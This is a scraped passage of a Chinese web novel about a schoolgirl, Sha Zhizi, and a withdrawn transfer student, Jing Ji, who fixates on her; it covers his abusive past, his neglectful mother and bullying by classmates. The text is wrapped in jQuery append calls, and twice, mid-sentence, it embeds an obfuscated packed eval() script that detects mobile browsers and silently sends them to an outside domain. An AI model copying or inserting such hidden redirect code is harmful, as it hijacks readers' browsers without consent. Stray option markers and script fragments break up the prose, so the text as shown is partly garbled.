$(''#content'').append('' 她一起去寄稿的沙栀子父亲展开新刊:水那么清丽地流出来了。 他攥着纸页,很小心地问:“栀子,你要成为作家吗?”不是想,是要。充满爱的一个亲人理所当然很自信。 可是沙栀子忙着穿鞋,金鸡独立地欲走,一如往常地跳走了问话:“我现在的理想是哦,去世界各地旅游当摄影师。我要先赚钱,先学习,我不忘掉那些瞬间的感觉,要留住很多喜欢的东西和人。”沙栀子的父亲愣了一下,下意识问:“坐飞机去呀?” 嗯嗯连着两次点头地离开了,没有回头一次。 沙栀子父亲的脸陷在回忆里,忽然惊醒一样,抽痛地动了一下。当然要坐飞机了。谁可以徒步攀登珠朗玛峰,谁就不可以自己游过太平洋。 …… 沙栀子的父亲还不知道。 沙栀子的第一次飞机乘坐就要发生了。 05 第二个学期,透亮下午的一天。窗外树荫繁茂喜人,窸窸窣窣。一个日后会让人怀念天气好得无云的日子。 “那个人一直盯着你,沙栀子。”新的同桌用手肘提醒沙栀子,语气很是纳闷儿。 下半学期的课间嘈杂,笑闹声很满,期末考的焦躁互相传染出近似耳鸣的背景音。沙栀子看着刚写好的阅读作业,合上本子,取下笔帽,盖上笔尖放回笔盒里。才转头和同桌说:“没关系的。”她没回头看,听出同桌声音里的疑惑之上,有不安和厌恶,于是在产生探究“那个人”之前,先出言安抚同学。 眼睛稚气又毫无畏惧,话里的内容就像她自己一样,干脆到干净。 可是沙栀子脸颊肉多。 一抿唇表示坚决的神情,就有点微鼓起的样子。 同桌给她这样子逗笑了一下,肩膀松懈下来,噗嗤地捂住嘴。又犹豫了,往外看了一眼,掩着嘴低声解释:“可是……是那个人。” 随着这句蚊蚋般的小话,背后“那个人”狭长的眼睛好像听到了似的。 脚步声就响起来了,那道视线的主人从身后走到她视线正前方,隔着几米远,“那个人”看向沙栀子,沙栀子愣愣地恰好抬头对上。于是眼睛和眼睛就第一次正式碰面了,明亮的眼睛和明亮的眼睛,但明亮的方向是不同的。沙栀子的眼睛眨了一会儿,像遥远的星光。而这个转学生,“那个人”的眼睛明亮到像冬日冰面反射出来的光。摄人得像白巧克力。沙栀子突然这么想。 其实她也很奇怪。 “他为什么看着我?”行为是有目的性的,注视更是极其显眼的行为。 但他们又不认识,之间没有发生过任何事情,为什么看她呢? 上课铃响了之后,那道目光就移开了。 沙栀子也就没再在意。 …… 转学生从不把校服放在脏乱的草坪上。 他拿着,鹤立鸡群地拿着。 好像丢掉也不愿意跟人同流合污一样。也许并没有那么想,可突出的异样感让人不自觉生出警惕。 这个男生个子高,沉默纤细,体育课上跳高是越过去的轻松。经常拿纸巾擦汗,那张封面杂志的脸,与其说是给人褒义的精致印象,不如说是没开塑封的硬壳,窥探不出过多的表情。 但他老是看向沙栀子。 …… 有一天,沙栀子很早来到了午休的教室,翻开印着很多花卉的植物科普书。 没开灯就很柔亮了,教室里很空,只有两三个人熟睡的午后。风缓缓地吹过空置的书桌,电扇在头顶吱呀作响。从讲台上看,只能看见一摞书跟着一摞书,课桌上山脉起伏。这时候,只有沙栀子一个人清醒着翻自己喜欢的书页。头发扎得很松。她也不想影响熟睡的同学休息。翻过去的动作放得很轻,小心翼翼地维护周围的安静。突然有人进来了,脚步一顿,也放轻了。 沙栀子没有抬头看。 她没注意到那脚步声越来越近。 接着心里砰的一下。 眼前一彩。 从左后方伸出了满扎的花,陡然遮住了花草科普的纸页。没有处理信息的大脑所呈现的画面,完全是方正的课桌突然溢出了野生的枝桠,五彩绚烂的一簇花草,错落交杂。视觉、嗅觉骤然惊艳,一瞬间和纸面相映成趣。 沙栀子只认出一种,心里想:“那是垂丝茉莉……” 另一个人在此基础上补全了所有名称。断字生涩,声音低到几乎是腹语了。 “…金边黄槐。”、“琅琊花。”、“荷兰石蒜。”、“…鸢尾。”、“唐松草。” 转校生两只手一起放下花,两只手一起收回来,几乎进贡一样的认真姿态。他没有坐下,也没有接着说什么,放下花就转头看沙栀子,示意她继续看书。于是沙栀子也就继续看下去了。快上课时,顶着别人向桌脚投来的目光,沙栀子用手拢了拢伸出她收装在书包袋的、冒出一点头枝叶花苞。 沙栀子若有所思,哦! 原来很早开始,他就想和我做朋友了。 撩起眼皮时,转校生眼神里泛开一种冷冷的水波纹。他皮肤白,睫影下的发青就十分鲜明。 这是对比的强调效果。 沙栀子心想,他准备在眼皮子底下养苔藓吗? 但朋友光靠看是看不来的。 收完花的沙栀子第二天,在回家路上,抱着寄存在附近小店的花瓶,连同水同花递给转校生。 …… 井霁抱着透明花瓶,低下头看人。 想要拉开果汁罐喝的冰镇眼神又落到女孩子身上。可显然对方轻轻摇了摇头,拒绝起气泡,转头离开了。 那背影很可爱。 那背影倒映在井霁夜晚入睡时的眼畔。 7. 选项:A “La 01 沙栀子给经俪人写信—— 我想, 种一棵核桃树。 02 如果没有变成很成熟很成熟的人,总是想要种一棵知道名称、却不知道具体什么样的树的。至于为什么要种那种树,当然是没有理由的。 那是随口一说的,可是认识沙栀子的人都知道,她随便说出来的话,就跟储存罐里的硬币一样。 某一天就会突然掏出来花掉。 ……所以要怎么种呢?沙栀子的父亲倒是种过苹果树,在老家帮家里处理果园生意,在水池边择菜的时候,紧皱眉头回想:“也不知道这里适不适合种核桃树啊,那个……怎么突然忘记了?按照课本讲过的,我们这边是亚热带还是温带气候来着?” 沙栀子趴在椅子背上,心虚,轻轻倒吸一口气。好像是之前学的,她也忘记啦。 平常她写完作业,不想做别的事。 就会跑过来看父亲洗菜做饭。 沙栀子的父亲当然不会嫌弃她,还搬了张椅子放在空处,套上了椅子布套,权当背后放置只小猫了。 嗯,沙栀子这么做,当然是因为舒服了。 晚饭的厨房有种很奇怪的吸引力,七平米左右的大小,贴着浅绿的瓷砖。 当初买的时候他们就很中意这个正中开窗、对着绿荫的厨房,下午翠色的香的树影摇进来格外漂亮。 沙栀子的父亲做饭的神情跟收银对帐是一样的,很认真地把一件一件食材罗列上砧板,再清洗干净,用菜刀点零。趁父亲切菜,她从椅子上溜下来,不发出声音地跑到房间翻开地理书,再回到厨房,以笃定语气回答说:“是亚热带哦。”听起来知识很扎实的样子,但是让人忍不住偷笑,原本知道的话,就要用平调啊,一听“哦”的第三声语气,就知道偷偷看书做过弊了嘛。 晚饭后,睡前沙栀子还在想。 正好是适合种植核桃树的亚热带气候。 小镇上哪里有地势平缓的坡地呢?秋天落叶之后才可以种,还有几个月呢?如果不在避风处的话……她迷迷糊糊睡着了,脑海里一片被强风吹乱的绿色细粒。 03 第二天来到学校,还没开始早读,老师也还没来,沙栀子就拿着一个小的按压喷水壶从教室出去,跑到教学楼三层的一个废弃教室里。 早晨应该是很清新的,但这个教室却有灰褐色的小点,雀斑一样。浮动在透明的、融化的空气脸上。 因为这个教室废弃了很久,上周才组织学生简单打扫了一下,通风了一天,就征用做生物课的种植室了。听说昨天有夜雨,所以老师叮嘱不要开窗,可是天气不太准,闷了一夜的夏雷都没有下雨。沙栀子挥了挥手,把灰尘赶开,走到左边的花架上,数到第七个盆—— 就是她抽到的紫甘蓝种子。 这个学期学到了生物的植物科,作为实践作业,所有人都抽选了种子。 拿到属于自己的种子的时候,大家都很兴奋,互相问对方拿到了什么,沙栀子斜对面的一个女生很惊喜地对她说:“是我喜欢吃的紫甘蓝哎!你看,我居然是花种子,不知道能不能种出来,听说这种花很容易死掉……”说到这一瞬间又苦恼沮丧起来了。 沙栀子没有出言安慰,但暗暗决定,等自己的球状种子结出来就摘下来送给这个同学。 这样的话—— 如果真的死掉了也能开心一点吧。 塑封袋上贴着种类名称,有可以用盆栽种植的,就在当天课后挖了土放在临时的种植室里;有的必须种在室外,就种在校舍外闲置的那片地里了。 04 这样的小镇人不算多,学校里的学生没有那么拥挤,反而同年级的都很相熟,碰到了都能打出招呼。 友善的程度大概是一个篮子里不会互相碰碎的鸡蛋。 但为什么…… 沙栀子顺着那一排的花架,小心地浇了水,直到水壶里水用完了。转身,又看到了和昨天、前天、大前天一样的场景。 右边地上,破碎的陶土花盆。 花盆贴着沙栀子看到好几次的熟悉名字——【井霁】。而她也还是,不由自主露出了和昨天、前天、大前天一样困惑的样子。之前沙栀子还以为是风吹倒的,现在看来只能是有人故意推到地上的了。 所以【井霁】这个名字。 大概是被人讨厌了吧。 所以连种子也受到了牵连。 沙栀子捡起贴着名字标签的陶片,放到一边。 蹲下来找东西。 还是觉得这个名字很奇怪,很奇特,仿佛天气预报的一整句话压缩成了一个字。 没想到人的姓在天上地下到处散落,水井也好,沙土也好,海面也好都可以作为一个人的起笔。 所以说人的名就更复杂了,简直是名词、动词、形容词、介词副词的大集锦。 05 咚、咚、咚。 没有下雨的早晨,种植教室里应该没有人吧。 井霁礼貌性敲了几下木门框,就抱着装好新花盆的袋子推开教室门,却骤然被吓了一跳。心跳了好一会儿。没有停下来。井霁看见蹲在陶片边拨动泥土的沙栀子。 这个女孩子蹲在花架边,低头只露出侧脸。 她脸上严肃,嘴唇微微往中间聚。 唇珠显出思考的抿状。 窗户应该是她打开的吧,种植教室里有公用的浇水器,不过按压口好像生锈了,好多人都准备带新的浇水壶放在学校里。学校二楼和一楼逐渐传来人声,他一直注意着的那个女孩子习惯性地不抬头看人。 井霁走近,才看清楚她在做什么。啊——原来她在蹲着找土里的种子。他皱眉。不知道该蹲下。 还是该走过去。 说什么……好呢。 不知所措地僵在原地,细细的焦躁,像瓷上一丝一丝的裂纹爬上脸。 …… 井霁转学来的前几个月。 还不在这个母亲老家的地方上学。 春夏交替的月份,井霁的母亲井橡烨拎着行李箱,他也拎着几个行李箱。从亮黄轿车上下来。 那些服装设计师的工业用缝纫机、专业烫台之类的东西,早在一周前就寄来了,比起同行业人喜欢收集的雕塑或者自然标本,母亲更喜欢收藏不同的镜子。每一次居住的地方,她都会想办法搬来很多喜爱的镜子。至于面料库存和收藏,因为来的很匆忙,只带了部分,仅仅是这样在这个小镇上也引起轰动。搬运的场面也相当壮观。 最漂亮的是一张匣镜子。 在这次搬来小镇前,在母亲和外婆家的争吵里被摔碎了。十八岁,中文还没有那么好。 回国之后好像一切都蒙着一层毛玻璃。 只有视觉是清晰的。 他只能听见隔壁房间依稀传来的单词,里面参杂着自己的名字,大概HSK四级左右的水平:“……中法混血……在国外长大……正常……不负责任……你、他…留下来…”吵完之后,井霁跟着吃饭,桌上很多母亲喜欢的菜。外婆外公脸色不怎么好,不看母亲,不停地给他加菜,用简单的句子跟他说话。很和蔼的眼睛看过来,看的力度很轻,井霁边用筷子拨饭到嘴边,边低头不说话,知道他们用他的眼睛看女儿。 母亲的行业内朋友经常开玩笑说,你们眼窝还真像,都有点恰到好处的深,适合做平面杂志模特。 这时候,他的眼睛就变成了镜子。 因为别扭,外婆外公赌气不看井橡烨,退而求其次地努力给井霁夹菜,说着关心的话。 母亲的母亲爱着女儿。 母亲的父亲爱着女儿。 而母亲爱她的职业、在楼梯上来来回回跑、裁剪衣服、翻阅时尚杂志。她精力充沛。拥有很多爱。也付出很多爱。一周回来一天。曾经眼睛留在新发行的杂志内页上,惬意地吸了口汽水,随口问过他:“你有什么很感兴趣的吗?送你去学好了。” 只是下楼倒水井霁说不出来。 检索了很久,对什么都说不上来“爱”的感觉,只好说:“什么都可以。” “……跟你说话真是没劲啊。”母亲有些无语地回话。“你是故事书里那种没有动机、没有欲望的小孩吗?那也太无聊了。”那之后就给他安排了很多不计成本的兴趣尝试,意外的是园艺和烘焙做的还不错。 住在小镇和住在国外一定没什么区别。还没开学的话,整天呆在山腰的别墅就好。 和以前一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180298|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中文还是不怎么好的井霁,那时候确实是这么打算的。 06 在沙栀子眼里,靠近与亲密的关系,本质上是与物理距离无关的。当她的精神世界被无可避免地,真正地被闯入后,沙栀子才会注意到别人。 但和沙栀子不同。 但对于这个穿什么衣服都无所谓、学什么都好、喜欢和爱什么都暧昧不明的人来说—— 在亮黄色轿车驶过那条小街,井霁看见那个脸上有着熟苹果光泽的女孩子时。 水果的香气就降临了世界。 …… 【我看见她了。】 【塑料袋被鲜菠萝的刺划破了。没办法,她只好小心地手捧着它,抱在小腹前,呼吸舒畅地往前走。】 【如果是经验性开放的人,喜欢新奇和冒险,应该会讨厌这样的小镇街道吧。车子驶过的时候,恰好被几个转弯过来的路人堵停几分钟。】 【街上并不难看的布景,普通的热闹声音。因为快要黄昏了,落下来的太阳也像器皿里晕开的红墨水。有的店铺已经关上门了,有的店铺摊在外面的卖品还满满当当,看摊的也许是熟人,向那个女孩子打招呼,笑眯眯的。】 【那个“女孩子”,是的、法文里,好像没有正好符合这个代称的词了。嘴唇像无花果。】 【走起来只能是冰块碰在玻璃杯上,连柠檬也没有,水彩画一样的透明和清新。脸上的疑惑,大概是想,为什么每次都跟我打招呼,问我要回家了吗?】 【也许是关心吧。】 【也许这种心情就像每天出门前,会不由自主看一眼路上木瓜树边正在长芽的月橘一样吧。】 【那是一种乍看非常不值一提的夏夜小白花,经常被种在屋前院后,或者小路边作为绿篱或者装饰。】 …… 那天晚上井霁草草收拾了行李,打开很早以前就放置起来的日记本,那些句子在脑海里,无法停止声音和画面。最后台灯外都暗了下来,他顿笔了好久。 井橡烨关灯时顺手敲了敲他的门,示意先睡了。 他才突然发觉已经很晚了。 实际上法文课上他就不擅长写作,甚至有时会写不满字数。只好在书桌前有点默不作声的羞惭……如果当时好好学习就好了。应该能使用更多词汇来写完吧。 但也认真查阅了纸质的词典。 用法文写的日记里只有“女孩子”三个字是用中文写上去的。比较起来只好用中文词。 Lafillette指的是小女孩。Lagamine并不是井霁看到她时的语感。 Laminotte…太轻易地轻佻了。 几天后他刚安顿下来。在别墅里呆不住,就往山下走。帽子压着中长发,想了想带上了口罩。第一天就很走运地闲逛到了那家书店。 开始写生一样地看那个女孩子。 有点陈旧的牌匾下,左手抓着门框的女孩子背对着井霁,半身倾斜在门内,往后伸出梨子切开色的小腿。 随着向店里的问话轻轻往后踮。皮肤晒在太阳底下,光流成了果香汁水。 说的话听不太清,好像是要去跑腿。 他走进去买了几本书,购物结账还是能流畅说出来的。环视了一下店里,找到一个落地书架边的座位,坐了好久。坐到肚子都疼了,以往这个时候,井霁该自己做饭了,这天中午和晚上都没有吃饭,胃里没有消化的东西有些难受。但是饿一下是不会死的。所以不是去跑腿啊,他一边心不在焉地翻着书,一边失落地想。 之后去了好几次,带着便携的三明治和水杯。 好好记住了经常出现在书店老板口中叫那个女孩子的读音。“sha”。“zhi”。“zi”。 但并不敢靠近她。 这种近乎迷茫的好奇,直觉的躁动深深压在心底。 入学前井霁被井橡烨带到校长办公室里,提出想看一下分班名单的要求,从名册里先拼出姓的音,再拼出名字的音……最后抬头:“我想要去这个班。” 原来是那三个字。 原来水果的启示是正确的预感。 在知道沙栀子的“zhizi”真的是一种花之前,井霁就嗅到了这个名字的香气。 8. 选项:A 01 对于依恋母亲的孩子来说,母亲是老师再好不过了。沙栀子的母亲在她小的时候还是国文课老师。 小时候,沙栀子写字还歪歪扭扭的。 她就看着沙栀子练字,俯下身,微眯着眼,视线落到软纸簿上,穿着蓝瓷器一样、柔软绸子质地的衣服。 那个画面留在记忆当中,是童谣的图腾。 第一次沙栀子知道什么是紧张,心跳得好紧,攥着升年级后刚换的水笔,全神贯注地不写错字。 窗子外正好有高大的树,那是有点热的夏季,也就有风摇叶子。沙栀子严肃得脸颊肉都微鼓起来,阳光透着叶脉在她脸上,站在一旁拍下照片的沙栀子父亲忍不住伸手捏一下,说像开心果裂开、漂亮的带有绿色皮的果肉。 在坐上书桌椅,连小腿都还踩不到地面的年纪,认知有限的小小的沙栀子只知道鲨鱼是蓝色的。 而曲奇姜黄的颜色是父亲常穿的。 那么,沙栀子想,我应该是母鲨鱼和托盘曲奇的女儿吧:这是没有逻辑的比喻。 02 啪。 成年人的手掌掴幼小的脸的声音,就是“啪”的一声。 有点闷,像往积满雪的屋檐敲了一铲子。从幼小的脸上掉下来的雪,融化后会变成很脏的泥水。 但井霁不哭。 井霁很少让人目睹自己带有污渍的场面。 他喜欢干净。 03 啪。 母亲给了眼里满是红血丝的成年人一巴掌。 红血丝从眼角蔓延到唇角。 她目不斜视,提着小孩衣领,把井霁像几年前掉落的行李箱一样拎走了。 井霁也不知道那个人是母亲的第几任男友,职业大概是模特吧,典型的欧洲漂亮脸。 那个人照顾自己的方式充满恶意,井霁可以肯定地说,那是身体虐待加情感虐待。 并不是因为他做错了什么,或者没有被善待的价值。 心理医生是那样说的,家属经常会站在心理室外跟医生谈话。井霁推开涂写本,身体往后扭看,隔着单向透视的门上的窗,看见井橡烨拿出手机,递给医生翻看什么。他觉得母亲已经做的很多了,也做的很好了,离婚之后本来就很忙,还要定期查看自己被打得鼻青脸肿的照片,收到那种东西不管是谁都会很困扰的吧?人应该尽量独立且依靠自己。 等她打完官司,把井霁带到身边的时候,把他当作一个成人,认真讲:“你知道的吧?” “虽然我打算和你一起生活,但我对母亲的职责没有很大兴趣。” 面对面的咖啡桌,井橡烨点的烘焙适度的蓝山咖啡,井霁要了一杯胡萝卜汁。 看餐单的时候,没满十岁的井霁看着她,转发备忘录一样的认真语气说:“…我有一点夜盲症,要多吃这种食物。” 在谈话前,井橡烨丢给他让他去读的一大堆书他翻完了大半。 那些书里已经把很多关系解析得很透彻了。 大概是“母亲”这个词的半绝缘体吧,井橡烨。 家庭中心性就不用说了,她和漂亮的法国模特的婚姻只持续了一年不到。 让任何人给出井霁的母亲的印象,都会说这个女人的利益优先级是合自己的心意和快乐。 至于责任的绝对性和终身性…比起拒绝离婚、抓起折刀往他双唇皮肉上割的男人,比起那种恐怖分子,跟着拒绝承担20%以上母职的井橡烨生活,长大后的井霁可以用通俗的说法来形容:就好比难民拿到了美国绿卡。 来来往往的人走过咖啡厅外,透过玻璃可以看到正常的家庭,一家三口拎着购物袋,大人正一边一边点着小票、一边找出袋子里的零食果冻给吵着要吃的小孩。 看着有些陌生的氛围,但也并不羡慕。 早熟的井霁收回视线,喝完了胡萝卜汁,对井橡烨提议道:“…那我平时换一个称呼吧?因为‘妈妈’这样的叫法本来就是一个提醒。” 对母亲这个身份的提醒。 享乐主义的女人很意外地挑眉:“你这个小孩,对事情很有洞察感啊。” “叫我的名字吧,我挺喜欢我自己的名字的,对这个社会代号认同度最高,顺带一提,你的名字我取的,我也比较喜欢,那么我也直接喊你的名字吧。” 从小井霁就把自己当一个有理解和接受能力的人,觉得可以,就点了点头。 他从不觉得自己是个不幸的人。 只有一点烦恼的地方那就是—— 在法文课上写到家庭话题的井霁只能迟疑地写:我是井橡烨、和那个不知道法文名怎么拼写的人的孩子。 这个陈述句在井霁的世界里。 并不定位为‘需要怜悯’。 04 当然,他所不知道的是。 在井霁的人生里更幸运的是,搬来小镇上。由此——那份自己浑然不知的被阉割的情感能力,也正在悸动里天然地、急剧地复苏。 05 秋季校运会的报名单前要交体检单,体检单前要交资料表,资料表上: 家庭关系 母亲:井橡烨 父亲:不详 身高:177厘米 体重:65公斤 …… 体重是偏轻吗。 看起来骨架不小,但又不是那种运动系的少年,只有长期骑单车的腿上有一些薄韧的肌肉。 填写的那个“不详”就够奇怪了,莫名勾画了的两千米长跑和两人三足、跳高比赛时间也很靠近。 完成不了吧,到时候不会体力不支吗? 确认报名项目的班长找过来,推了下眼镜,有点为难地看交上收集表的男生,狐疑地问:“井霁真的要报这个吗?两千米跑完,十分钟之后两人三足就要开始比赛了,身体恢复时间也不太够吧。” 作为班委的男生闻言马上双手撑在桌子上,笑得唇上的痣晃动起来,恶劣地笃定道:“当然啊!” 他跟班长免责,看好戏的心态表露无遗。 “是他自己要报的,是那个转学生自己没看比赛时间啊!我只是没有提醒他而已。” 他声音也不小,在有人活动的教室里至少有十几个人都听到了,聚在一起说话的几个女生向这边瞄了几眼;坐在班长后面的优等生抬了下头,皱了一下眉毛,像是直觉这样做不太好,但也没起身说什么……大部分人都有亲疏远近的选择,一点漠不关心的浅淡心情滴到教室空气里,很快就稀释掉了。 同性的男生之间,强烈的排斥、微妙的恶意本来就可以很轻易地滋生。 几十个学生从分班起就是互相试探的团体雏形。 跟那个唇上有痣的男生玩的好的男生也不少,从井霁刚转入这个班时就听他抱怨了。 “真是恶心。” 运动会把水搬到指定位置,唇上有痣的男生跟着朋友在看台上兴致勃勃看比赛,扫到井霁一眼,肘了一下旁边人,“…真是服了,你看那个转学生,又在看沙栀子。他是不是有病啊?” 那种注视简直旁若无人,颇有点不要脸了。 “确实。”朋友喝了口矿泉水,有点无语地回话,实在被秋老虎热得有点不耐烦了。 这话听好多遍了。 “不过也不关你的事吧?毕竟人家女孩子也没说什么。”这么介意,搞得好像你在跟他竞争什么一样。 唇上带痣的男生对此哼了一声,没再多说什么,随着操场上的赛事转移了话题。 一上午很快就过去了。 给八百米赛加油的时候,很多人膝盖磕到前面人凳子上,激动地喊选手名字和口号,几分钟热潮过后,现场简直一片狼藉。 …… 跳远回来的沙栀子从走道穿回来,她的凳子就横在看台区域前面了,她正要扶起来,旁边的男生就先给她提起来了,“你是坐这里吧?” “嗯…”沙栀子后知后觉,还没收回捡凳子的动作,但及时回应,“是这里。” 坐回去后说了谢谢。 06 跑道上领先的男生肢体协调,外加腿长,跑起来一步就又有已经到了最后冲刺的五百米,速度慢慢加快,穿着的蓝白色短袖校服被风灌胸而过,泛起涟漪。看起来仿佛一小洼海洋。 吹哨的老师远远看着,才发现被风吹开有点卷的黑发的男生有很明显深邃的面部轮廓。 那股子英气和精致感融和得恰好。 看起来应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180299|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个混血。 心里忍不住感慨,总是有能把软塌塌校服穿得很好看的男生和女生啊。 07 操场上人声鼎沸。 每次运动会大概都有项目没有被人注意到。操场上长跑比赛正在进行,站在栏杆前的几个同学远眺了一下,看见跑在外道的自己班的选手。 想要喊加油,却因为背后名字贴的太小了,看身形也很陌生,没分辨出来应该喊什么。 “我们班参加长跑的是谁啊?”有人突然跟同伴问起来,问有没有打出来选手的上场表。 “是井霁啊。” “不过不太熟诶,要喊加油的话你喊吧,感觉好尴尬……”回答的那个男生坐在后排,膝盖上翻着本杂志,头也不抬地说。 “那还是算了吧,我一个人喊好……” 在听到尴尬两个字在别人口中说出来之前,在座位上休息好了的沙栀子就放下水,站起身,跑到栏杆上自然地喊出了井霁的名字。 比如跳远、铅球之类的,因为场地很偏,还没看到就结束了。有时候没有被加油到,沙栀子也会觉得很失落。 井霁——加油。 就这么喊。 边喊边想,好奇怪、好生涩的名字。 只用了中等大小的音量,因为待会儿还有一个两人三足的项目,沙栀子有保存体力的小小打算。 有站在旁边远看着的人讶然地看她,还有后面座位上不知道是什么比赛的几个人,想也没想,一听见加油声也跟着喊了起来。 就这样。 稀稀落落的八九个人的声音响了起来。 …… 隔着几米高的看台,井霁努力调整着呼吸,手脚有节奏地摆动,汗水淋湿皮肤,跑过班级区域时脑子已经嗡嗡作响来。身后还有选手在紧追着。 前面吹哨的裁判也紧盯着直道上几个选手,预备吹哨。 国外经常有教堂。 看台上每几米错落着不同的喊声,大概是自己班级选手的名字。因为很陌生,也不是母语,从耳朵里灌进去就像是宗教暗语,充满了复杂的含义。 姓名确实就是这种东西。 比起听见,更先抵达的是井霁的眼睛。 在栏杆上凝固如奶油的手,抵压着微微隆起的地方,手背上移几厘米就是那个女孩子的脸。井霁的眼睛像是蜂蜜的钩。 沙栀子的脸看起来很甜。 她正在看着自己,给自己加油。 在无意识的思绪之间,闪过对自己的抵触:你不要这样污秽地描述。 08 在那看台与跑道之间。 前后左右。 可以称之为泛滥的目光、同时也可以称之为高度凝聚的目光聚集在那个女孩子身上。 吹哨声刺破空气的那一刻,得过很多次长跑第一的井霁重重地摔了一跤,橡胶接近烤灼的气味撞到了脸上,痛感剧烈,侧边下颌被擦破了大半。血滴滴答答地流下来,草甸里拿着水的后援学生倒吸一口气,不知所措地看老师。 还没等老师叫停,所有人就看见井霁很快爬起来,像什么都没感觉到一样地撑起来,手背擦了擦马上接着跑。 流着血。 冲过了第三名的哨声。 09 认识沙栀子的人很不情愿提起来的是,其实沙栀子有种无端的漂亮,但用这个词颇有洋气感觉的词,总觉得又不太准确。 啊,硬要说的话。 那大概是天然的、被爱的光彩吧。 唇上有痣的那个男生有时候扫过同班沙栀子的身影,眼睛总要刺痛一下。特别是体育课的时候,一运动起来,双颊就会泛出汗和更鲜艳的颜色。完全是某天路过她座位边、桌上摊开的诗集里那一句的注解——【…你蛾般的呼吸,扑烁于全然粉红的玫瑰花间。*】 尽管这个女生有时候说的话,就像梦话一样,但是就跟其他同学一样,唇上带痣的男生偶然背对着听到。 也会跟其他人一样,既不会回身,也不会跑过去插话。大概是觉得很可爱吧,都会心照不宣,淡淡地笑了。所以啊,那个转学生才很讨厌。 所以说,那个转学生,眼神就像死蜜蜂一样恶心。 难道不是吗? 9. 选项:A 01 欺凌需要想象力。 最便利的方式大概是看书然后进行模仿,但不是所有方式手段都能直接照搬的。 例如在牛奶里加铅笔削出来的木屑,且不说现在已经很少有人集中在学校订购发放牛奶。 到了现在这个学年,与时俱进,大多数人使用的都是自动铅笔吧?木屑从何而来呢? . 02 寒假的前几个月,学校里有学生的私人物品被其他人损坏,事后老师进行了问卷调查。 很快有匿名的留言信息缩小了嫌疑范围。最后找到了做下恶劣事情的学生。 双方的学生家长都被请来了学校。据说是因为生物实践活动,抽选种子时产生了摩擦,两个孩子都被分到了郁金香花种,其中一个因此很不满,产生了古怪的排异心理,所以做出了故意捣乱损害的行为。 “真的非常抱歉,我们会尽力赔偿,也一定会好好教育他的。”办公室里鞠躬的家长满脸羞愧。 隔着坐在中间调和的老师和放着茶水的茶几。 同时那个男生也径直看向井霁,隔着一米多远,毫无闪躲意味:“对不起。” 老师看得出来那个那个叫权茅的男生道歉的眼神充斥着骂不在乎冷静,真正的歉意实在很稀少。 顿时感到头疼。 明明平时也不是很难管的学生,长得也很端正,是经常熟人被称赞懂礼貌的俊气男生。 看见科任老师搬着书都会主动上前帮忙,夏天进出开着空调办公室也会格外注意关紧门。 对他印象很好的老师犹豫了一下,最终还是没有当着这么多人的面拆穿。 尽管敷衍但也是道歉了。 来处理这件事的是他的爷爷奶奶,两个老人家很讲道理,态度很好,听老师给两方陈述事情时也没有打岔。听完之后也没有很快断定,问了孙子之后,看他果决地承认了,便十分惭愧地提出要给赔偿、外加道歉。 老师对他们家的情况很熟悉。 权茅的父母都是航线的海员,平常工作很忙,每次回来镇上都会给相熟的人带一些礼物。 是镇上人品不错的一家人。 说到底这是恶意事件,但严重程度有限,至少真的造成什么身体伤害。 老师有点不好处理,提议说:“那么处罚就做通报批评,双方家长都同意的话就定好赔偿金额?” 井橡烨穿着便服在茶几前坐着,看了眼站在一边的井霁。全程倒是很平静,没有什么“受害者母亲”的气愤。她双腿交叠,低眼喝了口水: “我没问题,就这样吧。” 作为20%的母亲,她看出来井霁现在根本没有在想这件事。完全在因为别的什么在出神。 一周的休息日很宝贵。 她不如早点回去睡觉。 井霁想向她求助就会张口,没有跟她说是因为事情发生的时候,他就自己选择了处理方式—— 带新的花盆去替换。 那大概是对于他自己来说最省力的做法。 来会谈之前,看着锅上黄油滋滋作响,井橡烨一边打哈欠一边往早餐里敲了个鸡蛋,问井霁怎么回事。他们习惯分开吃,也是各自分开做的。不过最近井霁经常烘焙区尝试做甜点,所以也在厨房,听到她问话后,手动打发奶油的动作顿了一下。头发微卷的男生抬起头,眨了好几次眼,视线失焦地看着前方好一会儿,忽然语气轻飘飘地说,脸上有种奇异的光彩:“…嗯。” “没什么。” “每次被推倒之后,是沙栀子帮我从泥里找出种子,放在干净陶片上的。” 牛头不对马嘴的回答,视觉没有锚定,看起来灵魂出窍一样,心理医生说过是解离的状态。 井橡烨看着他那样子,没接着往下问了。 想着什么时候约一下复诊。 除了突然知道一个陌生名字,根本没有别的有效信息。等吃完饭后她就提前给老师打了电话。 知道了来龙去脉,觉得不是什么大事,就意思意思来出场,表示谅解,接受赔偿。 现在双方都达成和解。 老师松了口气,棘手的事情就这么解决了。 . 03 如果选择恶言相向、更过分一点的肢体冲突,扔掉课本或者涂画桌椅,都很容易引起老师的调查。 小镇的居住人不多,光是在放学的校门口用不大不小的声音说一句辱骂的话,走到家之前父母就从别人那里听说到准备质问了。 但思春期的学生是能够产生任性自我的人,动机真的很简单,稍许讨厌就足够了。 被办公室老师叫过去的权茅离门站的更近,别过眼睛,虎牙咬住唇上的痣,不渝的表情隐藏在侧脸上。被训话时一直沉默着。 离开时头也不回地迈出办公室。 但几周之后,那盆郁金香在种植室里就死了,盆里积水严重,种球腐烂。 作为职业忙碌的海员的父母特地归假骂了他一顿。 